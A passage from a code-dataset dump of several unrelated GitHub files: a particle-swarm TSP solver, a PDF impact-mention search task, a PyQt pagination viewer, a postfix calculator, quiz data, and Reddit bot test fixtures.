configs.local_threads import local_threads\n#from configs.local_htex import local_htex\n#from remote_htex import remote_htex\n\nparsl.load(local_threads)\n#parsl.load(local_htex)\n#parsl.load(remote_htex)\n\n'''\n# define PSO input parameter : number of iterations\n#iterations=sys.argv[1]\niterations=99\nINTiterations=int(iterations)\n\n# define PSO input parameter : size of population\n#size_population=sys.argv[2]\nsize_population=9\nINTsize_population=int(size_population)\n\n# define PSO input parameter : beta\n#beta=sys.argv[3]\nbeta=0.9\nFLOATbeta=float(beta)\n\n# define PSO input parameter : alpha\n#alfa=sys.argv[4]\nalfa=0.8\nFLOATalfa=float(alfa)\n'''\n\n# Lower Bound\nlb_iterations = userScript.lb_iterations\nlb_size_population= userScript.lb_size_population\nlb_beta= userScript.lb_beta\nlb_alfa= userScript.lb_alfa\n\n# Upper Bound\nub_iterations= userScript.ub_iterations\nub_size_population= userScript.ub_size_population\nub_beta= userScript.ub_beta\nub_alfa= userScript.ub_alfa\n\nstep = sys.argv[1]\n\n# class that represents a particle\nclass Particle:\n\n\tdef __init__(self, solution, cost):\n\n\t\t# current solution\n\t\tself.solution = solution\n\n\t\t# best solution (fitness) it has achieved so far\n\t\tself.pbest = solution\n\n\t\t# set costs\n\t\tself.cost_current_solution = cost\n\t\tself.cost_pbest_solution = cost\n\n\t\t# velocity of a particle is a sequence of 4-tuple\n\t\t# (1, 2, 1, 'beta') means SO(1,2), prabability 1 and compares with \"beta\"\n\t\tself.velocity = []\n\n\t# set pbest\n\tdef setPBest(self, new_pbest):\n\t\tself.pbest = new_pbest\n\n\t# returns the pbest\n\tdef getPBest(self):\n\t\treturn self.pbest\n\n\t# set the new velocity (sequence of swap operators)\n\tdef setVelocity(self, new_velocity):\n\t\tself.velocity = new_velocity\n\n\t# returns the velocity (sequence of swap operators)\n\tdef getVelocity(self):\n\t\treturn self.velocity\n\n\t# set solution\n\tdef setCurrentSolution(self, solution):\n\t\tself.solution = solution\n\n\t# gets solution\n\tdef getCurrentSolution(self):\n\t\treturn self.solution\n\n\t# set cost pbest solution\n\tdef setCostPBest(self, cost):\n\t\tself.cost_pbest_solution = cost\n\n\t# gets cost pbest solution\n\tdef getCostPBest(self):\n\t\treturn self.cost_pbest_solution\n\n\t# set cost current solution\n\tdef setCostCurrentSolution(self, cost):\n\t\tself.cost_current_solution = cost\n\n\t# gets cost current solution\n\tdef getCostCurrentSolution(self):\n\t\treturn self.cost_current_solution\n\n\t# removes all elements of the list velocity\n\tdef clearVelocity(self):\n\t\tdel self.velocity[:]\n\n\n# PSO algorithm\nclass PSO:\n\n\tdef __init__(self, graph, iterations, size_population, beta=1, alfa=1):\n\t\tself.graph = graph # the graph\n\t\tself.iterations = iterations # max of iterations\n\t\tself.size_population = size_population # size population\n\t\tself.particles = [] # list of particles\n\t\tself.beta = beta # the probability that all swap operators in swap sequence (gbest - x(t-1))\n\t\tself.alfa = alfa # the probability that all swap operators in swap sequence (pbest - x(t-1))\n\n\t\t# initialized with a group of random particles (solutions)\n\t\tsolutions = self.graph.getRandomPaths(self.size_population)\n\n\t\t# checks if exists any solution\n\t\tif not solutions:\n\t\t\tprint('Initial population empty! Try run the algorithm again...')\n\t\t\tsys.exit(1)\n\n\t\t#print(\"#############################################\")\n\t\t#print(self.size_population)\n\n\t\tcount = 0\n\n\n\t\t#previous gbest\n\t\t#print(\"#############################################\")\n\t\t#print(step)\n\t\tif step!= \"1\":\n\t\t\ti = str(int(step)-1)\n\t\t\twith open(userScript.output + i+\"_costJson.json\", 'r') as myfile:\n\t\t\t\t\tdata=myfile.read()\n\n\t\t\t# parse file\n\t\t\tobj = json.loads(data)\n\t\t\tpath = obj['path']\n\t\t\tpath = path.replace(\" \", '')\n\t\t\tpath = path[1:-1].split(',')\n\t\t\tnewPath =[]\n\t\t\tfor i in path:\n\t\t\t\t#print(i)\n\t\t\t\tx = i.replace(\"'\", \"\")\n\t\t\t\tnewPath.append(x)\n\t\t\t#print(newPath)\n\t\t\tcostOfPrevious = obj['cost']\n\n\t\t# creates the particles and initialization of swap sequences in all the particles\n\t\tfor solution in solutions:\n\t\t\tif count == 0 and step != \"1\":\n\t\t\t\t#extra new particle\n\t\t\t\tparticle1 = Particle(solution=newPath, cost=costOfPrevious)\n\t\t\t\tself.particles.append(particle1)\n\t\t\t# creates a new particle\n\t\t\t#print(solution)\n\t\t\tparticle = Particle(solution=solution, cost=graph.getCostPath(solution))\n\t\t\tcount = count + 1\n\t\t\t# add the particle\n\t\t\tself.particles.append(particle)\n\n\t\t# updates \"size_population\"\n\t\tself.size_population = len(self.particles)\n\n\t\t#print(\"#############################################\")\n\t\t#print(self.size_population)\n\n\t# set gbest (best particle of the population)\n\tdef setGBest(self, new_gbest):\n\t\tself.gbest = new_gbest\n\n\t# returns gbest (best particle of the population)\n\tdef getGBest(self):\n\t\treturn self.gbest\n\n\n\t# shows the info of the particles\n\tdef showsParticles(self):\n\n\t\tprint('Showing particles...\\n')\n\t\tfor particle in self.particles:\n\t\t\tprint('pbest: %s\\t|\\tcost pbest: %d\\t|\\tcurrent solution: %s\\t|\\tcost current solution: %d' \\\n\t\t\t\t% (str(particle.getPBest()), particle.getCostPBest(), str(particle.getCurrentSolution()),\n\t\t\t\t\t\t\tparticle.getCostCurrentSolution()))\n\t\tprint('')\n\n\n\tdef run(self):\n\n\t\t# for each time step (iteration)\n\t\tfor t in range(1,self.iterations):\n\t\t\tself.gbest = min(self.particles, key=attrgetter('cost_pbest_solution'))\n\n\t\t\t# for each particle in the swarm\n\t\t\tfor particle in self.particles:\n\t\t\t\t#print(\"particle : \" + str(particle))\n\t\t\t\tparticle.clearVelocity() # cleans the speed of the particle\n\t\t\t\ttemp_velocity = []\n\n\t\t\t\t'''\n\t\t\t\tif step!=\"1\" and t == 1:\n\t\t\t\t\tsolution_gbest = newPath\n\t\t\t\t\t#solution_pbest = newPath\n\t\t\t\t\t#solution_particle = newPath\n\t\t\t\telse:\n\t\t\t\t\t#check what these are in t==1\n\t\t\t\t\tsolution_gbest = copy.copy(self.gbest.getPBest()) # gets solution of the gbest\n\t\t\t\t'''\n\t\t\t\tsolution_gbest = copy.copy(self.gbest.getPBest()) # gets solution of the gbest\n\t\t\t\tsolution_pbest = particle.getPBest()[:] # copy of the pbest solution\n\t\t\t\tsolution_particle = particle.getCurrentSolution()[:] # gets copy of the current solution of the particle\n\n\t\t\t\t# generates all swap operators to calculate (pbest - x(t-1))\n\t\t\t\tfor i in range(self.graph.amount_vertices):\n\t\t\t\t\tif solution_particle[i] != solution_pbest[i]:\n\t\t\t\t\t\t# generates swap operator\n\t\t\t\t\t\tswap_operator = (i, solution_pbest.index(solution_particle[i]), self.alfa)\n\n\t\t\t\t\t\t# append swap operator in the list of velocity\n\t\t\t\t\t\ttemp_velocity.append(swap_operator)\n\n\t\t\t\t\t\t# makes the swap\n\t\t\t\t\t\taux = solution_pbest[swap_operator[0]]\n\t\t\t\t\t\tsolution_pbest[swap_operator[0]] = solution_pbest[swap_operator[1]]\n\t\t\t\t\t\tsolution_pbest[swap_operator[1]] = aux\n\n\t\t\t\t# generates all swap operators to calculate (gbest - x(t-1))\n\t\t\t\tfor i in range(self.graph.amount_vertices):\n\t\t\t\t\tif solution_particle[i] != solution_gbest[i]:\n\t\t\t\t\t\t# generates swap operator\n\t\t\t\t\t\tswap_operator = (i, solution_gbest.index(solution_particle[i]), self.beta)\n\n\t\t\t\t\t\t# append swap operator in the list of velocity\n\t\t\t\t\t\ttemp_velocity.append(swap_operator)\n\n\t\t\t\t\t\t# makes the swap\n\t\t\t\t\t\taux = solution_gbest[swap_operator[0]]\n\t\t\t\t\t\tsolution_gbest[swap_operator[0]] = solution_gbest[swap_operator[1]]\n\t\t\t\t\t\tsolution_gbest[swap_operator[1]] = aux\n\n\n\t\t\t\t# updates velocity\n\t\t\t\tparticle.setVelocity(temp_velocity)\n\n\t\t\t\t# generates new solution for particle\n\t\t\t\tfor swap_operator in temp_velocity:\n\t\t\t\t\tif random.random() <= swap_operator[2]:\n\t\t\t\t\t\t# makes the swap\n\t\t\t\t\t\taux = solution_particle[swap_operator[0]]\n\t\t\t\t\t\tsolution_particle[swap_operator[0]] = solution_particle[swap_operator[1]]\n\t\t\t\t\t\tsolution_particle[swap_operator[1]] = aux\n\n\t\t\t\t# updates the current solution\n\t\t\t\tparticle.setCurrentSolution(solution_particle)\n\t\t\t\t# gets cost of the current solution\n\t\t\t\tcost_current_solution = self.graph.getCostPath(solution_particle)\n\t\t\t\t# updates the cost of the current solution\n\t\t\t\tparticle.setCostCurrentSolution(cost_current_solution)\n\n\t\t\t\t# checks if current solution is pbest solution\n\t\t\t\tif cost_current_solution < particle.getCostPBest():\n\t\t\t\t\tparticle.setPBest(solution_particle)\n\t\t\t\t\tparticle.setCostPBest(cost_current_solution)\n\n\t\t\t#filename = 'savedFiles/iterations_' + str(t) + '.txt'\n\t\t\t#pbestcost = particle.getCostPBest()\n\t\t\t#np.savetxt(rfilename, t, fmt = '%i')\n\t\t\t#print(particle.getCostPBest())\n\n#gbest_path_with_cost_at_tail = []\n\n@python_app\ndef createPsoInstance(a,b,c,d):\n\t#print(\"New PSO instance started\")\n\t#import tsp_graph\n\t# creates a PSO instance\n\tpso = PSO(tsp_graph.tsp_graph, a, b, c, d)\n\tpso.run()\n\n\t#pso.showsParticles() # shows the particles\n\n\n\tgbest_path = pso.getGBest().getPBest()\n\tgbest_path_cost = pso.getGBest().getCostPBest()\n\n\t#gbest_path.append(gbest_path_cost)\n\t# shows the global best particle\n\t#print('gbest: %s\\n' % (gbest_path))\n\n\t#print(\"PSO COMPLETED FOR THE ITERATION \" + str(i) + \" POPULATION \" + str(j) + \" BETA \" + str(k) + \" ALFA \" + str(l))\n\treturn [gbest_path,gbest_path_cost]\n\n\ndef stepf():\n\tcolumns = ['ITERATION','POPULATION','BETA','ALFA']\n\tdf_new = pd.DataFrame(columns=columns)\n\n\tgbest_paths_of_all_psos = []\n\tfor i in range(0,15):\n\t\t#print(\"parsl iteration\" + str(i))\n\t\tgbest_path1 = createPsoInstance(1000,51,0.9,0.8)\n\t\tgbest_paths_of_all_psos.append(gbest_path1)\n\t\t#costs_of_all_psoInstances.append(gbest_path_cost1)\n\t\tdf_new = df_new.append({'ITERATION' : 1000 , 'POPULATION' : 51 , 'BETA' : 0.9 , 'ALFA' : 0.8}, ignore_index=True)\n\n\n\t#print(df_new)\n\n\tgbest_path1_values = []\n\n\tfor i in gbest_paths_of_all_psos:\n\t\tgbest_path1_values.append(i.result())\n\t\t#gbest_path1_values.append(i)\n\n\t#print(gbest_path1_values)\n\n\tpath = []\n\tcost = []\n\n\tfor i in gbest_path1_values:\n\t\tpath.append(i[0])\n\t\tcost.append(i[1])\n\n\tdf_new['Path'] = path\n\tdf_new['Cost'] = cost\n\n\tprint(df_new)\n\n\n\tdf_new.to_csv(userScript.output + step + \"_pso_instances.csv\", index = None, header=True)\n\tprint(\"tsp pso\")\n\nif __name__ == \"__main__\":\n\n\tstepf()\n\tprint(\"TSP-PSO Step \", step, \" completed.\" )\n","repo_name":"SciFlow-FYP/TravellingSalesmanProblem","sub_path":"tsp_pso.py","file_name":"tsp_pso.py","file_ext":"py","file_size_in_byte":10182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21960351552","text":"from celery.utils.log import get_task_logger\nfrom celery import shared_task\nfrom collections import defaultdict\nfrom nltk import word_tokenize, pos_tag, corpus\nfrom nltk.tokenize import sent_tokenize\nfrom social_impact.models import SocialImpactSearch, SocialImpactSearchPublication, ImpactMention\nfrom social_impact.utils import normalize, remove_url_from_text, lemmatize_words, remove_non_ascii, remove_extra_spaces\n\nimport csv\nimport nltk\nimport pdftotext\nimport spacy\nimport re\n\n\nlogger = get_task_logger(__name__)\n\n\ndef __build_impact_dictionary(path_dictionary):\n impact_words, i_verbs, i_nouns = [], [], []\n with open(str(path_dictionary), 'r') as f:\n file = csv.DictReader(f, delimiter=',')\n for line in file:\n if line['pos'] == 'verb':\n lemma_words = ' '.join(lemmatize_words(normalize(line['word']), pos=corpus.wordnet.VERB))\n i_verbs.append(lemma_words)\n if line['pos'] == 'noun':\n lemma_words = ' '.join(lemmatize_words(normalize(line['word']), pos=corpus.wordnet.NOUN))\n i_nouns.append(lemma_words)\n impact_words = [i_verb + ' ' + i_noun for i_verb in i_verbs for i_noun in i_nouns if i_verb != i_noun]\n return impact_words\n\n\ndef get_not_processed_publications(search):\n not_processed_search_publications = []\n search_publications = SocialImpactSearchPublication.objects.filter(social_impact_header=search)\n for search_publication in search_publications:\n if not search_publication.completed:\n not_processed_search_publications.append(search_publication.publication)\n else:\n logger.info(f\"\")\n return not_processed_search_publications\n\n\n@shared_task()\ndef search_social_impact_mentions(payload):\n # download stopwords and corpus\n nltk.download('stopwords')\n nltk.download('wordnet')\n nltk.download('averaged_perceptron_tagger')\n # load spacy english model\n s_nlp = spacy.load('en')\n # define data directory\n docs_with_occurrences = 0\n for search_id in payload['search_ids']:\n search = SocialImpactSearch.objects.get(id=search_id)\n # load impact words\n logger.info('Building impact dictionary...')\n impact_words = __build_impact_dictionary(search.dictionary)\n search_publications = get_not_processed_publications(search)\n total_publications = len(search_publications)\n processed_data = dict()\n for i, search_publication in enumerate(search_publications):\n logger.info(f'({i + 1}/{total_publications}) Looking for mention of impact in the '\n f'publication: {search_publication}')\n processed_data[str(search_publication.id)] = {'publication': search_publication, 'impact_occurrences': []}\n with open(search_publication.file, 'rb') as f:\n pdf = pdftotext.PDF(f)\n # loop over pdf pages\n pdf_pages = len(pdf)\n for page_num in range(0, pdf_pages):\n page_text = remove_url_from_text(pdf[page_num])\n # iterate over sentences and clean them\n sentences = sent_tokenize(page_text)\n clean_sentences = []\n for sentence in sentences:\n normalized_sentence = normalize(sentence)\n # process sentence dependency\n sentence_to_nlp = remove_non_ascii(sentence)\n sentence_to_nlp = remove_extra_spaces(sentence_to_nlp)\n nlp_sentence = s_nlp(' '.join(sentence_to_nlp))\n sentence_dependencies = defaultdict(list)\n for nlp_token in nlp_sentence:\n token_text, token_tag, token_dependency_type, token_dependent_text, token_dependent_tag = \\\n nlp_token.text, nlp_token.tag_, nlp_token.dep_, nlp_token.head.text, nlp_token.head.tag_\n if token_tag[0] == 'N' and token_dependency_type == 'dobj' and token_dependent_tag[0] == 'V':\n lemma_dependent = ' '.join(lemmatize_words(token_dependent_text))\n lemma_token = ' '.join(lemmatize_words(token_text, pos=corpus.wordnet.NOUN))\n sentence_dependencies[lemma_dependent].append(lemma_token)\n tagged_tokens = pos_tag(normalized_sentence)\n lemma_tokens = []\n for tagged_token in tagged_tokens:\n token, tag = tagged_token\n if tag[0] == 'N':\n lemma_token = lemmatize_words(token, pos=corpus.wordnet.NOUN)\n lemma_tokens.append(' '.join(lemma_token))\n if tag[0] == 'V':\n lemma_token = lemmatize_words(token, pos=corpus.wordnet.VERB)\n lemma_tokens.append(' '.join(lemma_token))\n lemma_sentence = ' '.join(lemma_tokens)\n occurrences = set()\n for impact_word in impact_words:\n impact_tokens = word_tokenize(impact_word)\n reg_verb, reg_noun = impact_tokens[0], ' '.join(impact_tokens[1:])\n reg_exp = r'^[\\w\\s]+{verb}\\s[\\w\\s]*{noun}[\\w\\s]*$'.format(verb=reg_verb, noun=reg_noun)\n if re.search(reg_exp, lemma_sentence):\n if sentence_dependencies.get(reg_verb):\n if reg_noun in sentence_dependencies[reg_verb]:\n occurrences.add(impact_word)\n if len(occurrences) > 0:\n found_sentence = ' '.join(sentence_to_nlp)\n found_impact_word = ', '.join(occurrences)\n logger.info(f'Impact found =======\\n'\n f'Sentence: {found_sentence}\\n'\n f'Impact word: {found_impact_word}\\n')\n processed_data[str(search_publication.id)]['impact_occurrences'].append(\n {\n 'page': page_num + 1,\n 'sentence': found_sentence,\n 'found_tokens': found_impact_word\n }\n )\n if len(processed_data[search_publication]['impact_occurrences']) > 0:\n docs_with_occurrences += 1\n search_publication.completed = True\n search_publication.save()\n logger.info(f'Found occurrences in {docs_with_occurrences} of the {total_publications} pdfs')\n search.completed = True\n search.save()\n logger.info('Recording results...')\n for publication_id, metadata in processed_data.items():\n for occurrence in metadata['impact_occurrences']:\n mention_dict = {\n 'publication': metadata['publication'],\n 'page': occurrence['page'],\n 'sentence': occurrence['sentence'],\n 'impact_mention': occurrence['found_tokens'],\n 'created_by': payload.current_user\n }\n impact_mention_obj = ImpactMention(**mention_dict)\n impact_mention_obj.save()\n logger.info(f'Processed finished successfully!')","repo_name":"social-link-analytics-group-bsc/impact-app","sub_path":"backend/social_impact/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":7413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19520811927","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView, QWebEngineSettings\nfrom PyQt5.QtCore import QUrl, pyqtSlot, QEvent\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n QMainWindow.__init__(self)\n self.view = QWebEngineView(self)\n self.view.load(QUrl(\"https://cges30901.github.io/test/multicolumn/img\"))\n self.setCentralWidget(self.view)\n self.view.loadFinished.connect(self.paginate)\n self.view.focusProxy().installEventFilter(self)\n self.pageIndex = 0\n\n def eventFilter(self, source, e):\n if source == self.view.focusProxy():\n #pos_js = self.view.page().scrollPosition().x() - self.view.page().contentsSize().width() + self.view.width()\n if e.type() == QEvent.Wheel:\n self.pageCount=round(self.view.page().contentsSize().height()/self.view.height())\n pageHeight=self.view.page().contentsSize().height()/self.pageCount\n if e.angleDelta().y() > 0:\n if self.pageIndex > 0:\n self.pageIndex -= 1\n elif e.angleDelta().y() < 0:\n if self.pageIndex < self.pageCount - 1:\n self.pageIndex += 1\n self.view.page().runJavaScript(\"window.scrollTo({0}, {1});\"\n .format(self.view.page().scrollPosition().x() , pageHeight * self.pageIndex))\n print(self.pageIndex,self.view.height(), self.view.page().scrollPosition().y(), self.view.page().contentsSize().height())\n return True\n else:\n return False\n return False\n\n\n @pyqtSlot(bool)\n def paginate(self):\n self.view.page().runJavaScript('''\nvar el = document.querySelectorAll('img');\nfor(var i = 0; i < el.length; i++){\n //wrap image in div so two consecutive images can be separated\n var wrapper = document.createElement('div');\n el[i].parentNode.insertBefore(wrapper, el[i]);\n wrapper.appendChild(el[i]);\n\n //prevent pagination failure when wide images exist\n el[i].style.maxHeight = \"100%\";\n el[i].style.maxWidth = document.documentElement.clientWidth + \"px\";\n el[i].style.margin = 0;\n}\nvar columnInit = Math.floor(document.body.scrollWidth / document.documentElement.clientWidth);\nfor(var column = columnInit; column < columnInit * 2; column++){\n document.body.style.columnCount = column;\n document.body.style.height = column + \"00vh\";\n if(document.body.scrollWidth <= document.documentElement.clientWidth){\n break;\n }\n}\n//hide scroll bar\ndocument.body.style.overflow='hidden';\n''')\n\n\nif __name__ == \"__main__\":\n app = QApplication([])\n window = MainWindow()\n window.setGeometry(0, 0, 1000, 700)\n window.show()\n sys.exit(app.exec_())\n","repo_name":"cges30901/test","sub_path":"multicolumn/mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13000652738","text":"import sys\nsys.stdin = open(\"D4_1224_input.txt\", \"r\")\n\n# 이전 풀이\n# # 방법\n# # (1) 중위 표기법 -> 후위 표기법 (스택 필요)\n# # 1. 피연산자는 출력.\n# # 2. 연산자는 스택이 비어있으면 스택에 push.\n# # 3. \"(\" 이면 무조건 push.\n# # 4. \")\" 이면 stack에서 여는 괄호가 나올 때까지 pop.\n# # 5. \"(\" 가 스택에 push 된 후 \")\" 가 나올 때까지 \"(\" 가 pop이 되면 안되므로, \"(\" 의 우선 순위는 제일 작음.\n# # 우선순위는 '* or /' >> '+ or -' >> '('\n# # 6. 괄호는 출력 X(즉, pop 해야함).\n# # 7. 연산자는 스택이 비어있지 않으면 스택에 있는 연산자와 현재 연산자의 우선순위를 비교해\n# # 스택에 있는 연산자와의 우선순위가 같거나 크면 스택에 있는 연산자를 pop 한 후 현재 연산자를 스택에 push\n# # 8. 만약 7번에서 우선순위가 현재 연산자가 더 크면 현재 연산자를 push(스택에서 pop X).\n# # 9. 수식이 끝나면 스택이 빌 때까지 pop.\n#\n# # (2) 후위 표기법 계산 (스택 필요)\n# # 1. 피연산자면 스택에 push.\n# # 2. 연산자를 만나면 pop을 두 번하고, 각각 값을 저장한 후, 연산자에 맡는 계산.\n# # 여기서 주의해야할 점은 스택은 LIFO이므로 A, B 순으로 push 했다면, B, A 순으로 pop이 되므로 주의\n# # b = int(stack.pop())\n# # a = int(stack.pop())\n# # 3. 계산을 한 뒤, 결과 값을 다시 스택에 push -> 이 과정을 수식이 끝날 때까지 반복.\n# # 4. 수식이 끝났다면 스택에 마지막 남은 값이 결과 값.\n#\n# operators = {'(' : 0, '+' : 1, '*' : 2}\n#\n# def operand():\n# global a, b\n# b = int(stack.pop())\n# a = int(stack.pop())\n#\n#\n# for test_case in range(10):\n# N = int(input())\n# data = input()\n# a, b = 0, 0\n# stack = []\n# operator = []\n# preorder = []\n#\n# for i in data:\n# if i.isdigit():\n# preorder.append(i)\n# else:\n# if len(operator) == 0:\n# operator.append(i)\n# else:\n# if i == ')':\n# while operator[- 1] != '(':\n# preorder.append(operator.pop())\n# operator.pop()\n# elif i == '(':\n# operator.append(i)\n# elif operators[i] <= operators[operator[- 1]]:\n# preorder.append(operator.pop())\n# operator.append(i)\n# elif operators[i] > operators[operator[- 1]]:\n# operator.append(i)\n#\n#\n# for i in preorder:\n# if i.isdigit():\n# stack.append(i)\n# elif len(stack) >= 2:\n# if i == '+':\n# operand()\n# stack.append(a + b)\n# elif i == '*':\n# operand()\n# stack.append(a * b)\n# print(\"#{} {}\".format(test_case + 1, stack[0]))\n\noperators = {'(': 0, '+': 1, '*': 2}\nfor test_case in range(10):\n N = int(input())\n data = input()\n\n preorder = []\n temporary = []\n stack = []\n\n for i in data:\n if i.isdigit():\n preorder.append(i)\n else:\n if not temporary:\n temporary.append(i)\n else:\n if i == '(':\n temporary.append(i)\n elif i == ')':\n while temporary[- 1] != '(':\n preorder.append(temporary.pop())\n temporary.pop()\n elif operators[i] > operators[temporary[- 1]]:\n temporary.append(i)\n else:\n preorder.append(temporary.pop())\n temporary.append(i)\n\n preorder += temporary[:: - 1]\n\n for i in preorder:\n if i.isdigit():\n stack.append(int(i))\n if len(stack) >= 2:\n if i == '+':\n stack.append(stack.pop() + stack.pop())\n elif i == '*':\n stack.append(stack.pop() * stack.pop())\n print(\"#{} {}\".format(test_case + 1, *stack))","repo_name":"hongyong3/TIL","sub_path":"Algorithm/Swea/D4_1224.py","file_name":"D4_1224.py","file_ext":"py","file_size_in_byte":4153,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28487623100","text":"# question_data = [\n# {\"text\": \"A slug's blood is green.\", \"answer\": \"True\"},\n# {\"text\": \"The loudest animal is the African Elephant.\", \"answer\": \"False\"},\n# {\"text\": \"Approximately one quarter of human bones are in the feet.\", \"answer\": \"True\"},\n# {\"text\": \"The total surface area of a human lungs is the size of a football pitch.\", \"answer\": \"True\"},\n# {\"text\": \"In West Virginia, USA, if you accidentally hit an animal with \"\n# \"your car, you are free to take it home to eat.\", \"answer\": \"True\"},\n# {\"text\": \"In London, UK, if you happen to die in the House of Parliament, \"\n# \"you are entitled to a state funeral.\", \"answer\": \"False\"},\n# {\"text\": \"It is illegal to pee in the Ocean in Portugal.\", \"answer\": \"True\"},\n# {\"text\": \"You can lead a cow down stairs but not up stairs.\", \"answer\": \"False\"},\n# {\"text\": \"Google was originally called 'Backrub'.\", \"answer\": \"True\"},\n# {\"text\": \"Buzz Aldrin's mother's maiden name was 'Moon'.\", \"answer\": \"True\"},\n# {\"text\": \"No piece of square dry paper can be folded in half more than 7 times.\", \"answer\": \"False\"},\n# {\"text\": \"A few ounces of chocolate can to kill a small dog.\", \"answer\": \"True\"}\n# ]\n\nquestion_data = [\n {\n \"category\": \"Geography\",\n \"type\": \"boolean\",\n \"difficulty\": \"easy\",\n \"question\": \"Greenland is almost as big as Africa.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\"True\"]\n },\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"A group of islands is called an 'archipelago'.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\"False\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"Greenland is covered with grass and Iceland covered with ice.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\"True\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"There is a city called Rome in every continent on Earth.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\"True\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"Alaska is the largest state in the United States.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\"False\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"Ottawa is the capital of Canada.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\"False\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"Tokyo is the capital of Japan.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\"False\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"New Haven is the capital city of the state of Connecticut in the United States.\",\n \"correct_answer\": \"False\",\n \"incorrect_answers\": [\"True\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"Nova Scotia is on the east coast of Canada.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\"False\"]},\n {\n \"category\": \"Geography\", \"type\": \"boolean\", \"difficulty\": \"easy\",\n \"question\": \"There is an island in Japan called \\u014ckunoshima, \"\n \"A.K.A. "Rabbit Island", so named because of \"\n \"it's huge population of rabbits.\",\n \"correct_answer\": \"True\",\n \"incorrect_answers\": [\"False\"]}\n]\n","repo_name":"zuraic/quiz-brain","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12148796992","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime, timedelta\nimport os\n\nimport praw\nimport pytest\n\nfrom datascience_bot import get_datascience_bot, get_SubstantialStrain6, get_b3405920\n\n\nTEST_TIME = datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S UTC\")\n\n\nSUBREDDIT_NAME = os.getenv(\"SUBREDDIT_NAME\")\nif SUBREDDIT_NAME != \"datascience_bot_dev\":\n raise Exception(\"Test only against r/datascience_bot_dev!\")\n\n\ndef remove_all_user_submissions_to_datascience_bot_dev():\n datascience_bot = get_datascience_bot()\n SubstantialStrain6 = get_SubstantialStrain6()\n b3405920 = get_b3405920()\n\n for reddit in (datascience_bot, SubstantialStrain6, b3405920):\n username = reddit.user.me().name\n # remove all submissions to /r/datascience_bot_dev\n for submission in reddit.redditor(username).submissions.new(limit=100):\n if submission.subreddit.display_name == \"datascience_bot_dev\":\n submission.delete()\n\n # remove all comments on /r/datascience_bot_dev\n for comment in reddit.redditor(username).comments.new(limit=100):\n if comment.subreddit.display_name == \"datascience_bot_dev\":\n comment.delete()\n\n\ndef remove_all_datascience_bot_dev_submissions():\n \"\"\"Remove all submissions in r/datascience_bot_dev before all tests\n\n https://stackoverflow.com/a/17844938\n \"\"\"\n reddit = get_datascience_bot()\n\n subreddit = reddit.subreddit(\"datascience_bot_dev\")\n for submission in subreddit.new(limit=1000):\n comment = submission.reply(\n f\"This submission was removed at {TEST_TIME} to make way for testing.\"\n )\n comment.mod.distinguish(how=\"yes\", sticky=True)\n submission.mod.remove(spam=False)\n\n\ndef make_existing_thread() -> praw.models.Submission:\n datascience_bot = get_datascience_bot()\n SubstantialStrain6 = get_SubstantialStrain6()\n b3405920 = get_b3405920()\n\n weekly_thread = datascience_bot.subreddit(SUBREDDIT_NAME).submit(\n title=(\n \"Weekly Entering & Transitioning Thread | \"\n f\"{(datetime.utcnow() - timedelta(days=7)).strftime('%d %b %Y')} - \"\n f\"{datetime.utcnow().strftime('%d %b %Y')}\"\n ).strip(),\n selftext=\"Testing\",\n send_replies=False,\n )\n weekly_thread.mod.approve()\n weekly_thread.mod.distinguish()\n weekly_thread.mod.sticky(state=True, bottom=True)\n\n # make a comment that will go unanswered\n SubstantialStrain6.submission(id=weekly_thread.id).reply(\n \"I have a question that will go unanswered\"\n )\n\n # make a comment and answer it\n comment = b3405920.submission(id=weekly_thread.id).reply(\n \"I have a question that will be answered by SubstantialStrain6\"\n )\n SubstantialStrain6.comment(id=comment.id).reply(\"I'm answering your question\")\n\n return weekly_thread\n\n\ndef pytest_sessionstart(session):\n \"\"\"Called after the Session object has been created and before performing\n collection and entering the run test loop.\n \"\"\"\n remove_all_datascience_bot_dev_submissions()\n remove_all_user_submissions_to_datascience_bot_dev()\n make_existing_thread()\n","repo_name":"vogt4nick/datascience-bot","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70500957586","text":"import os\nimport glob\nimport nibabel as nib\n\n\n\ndef 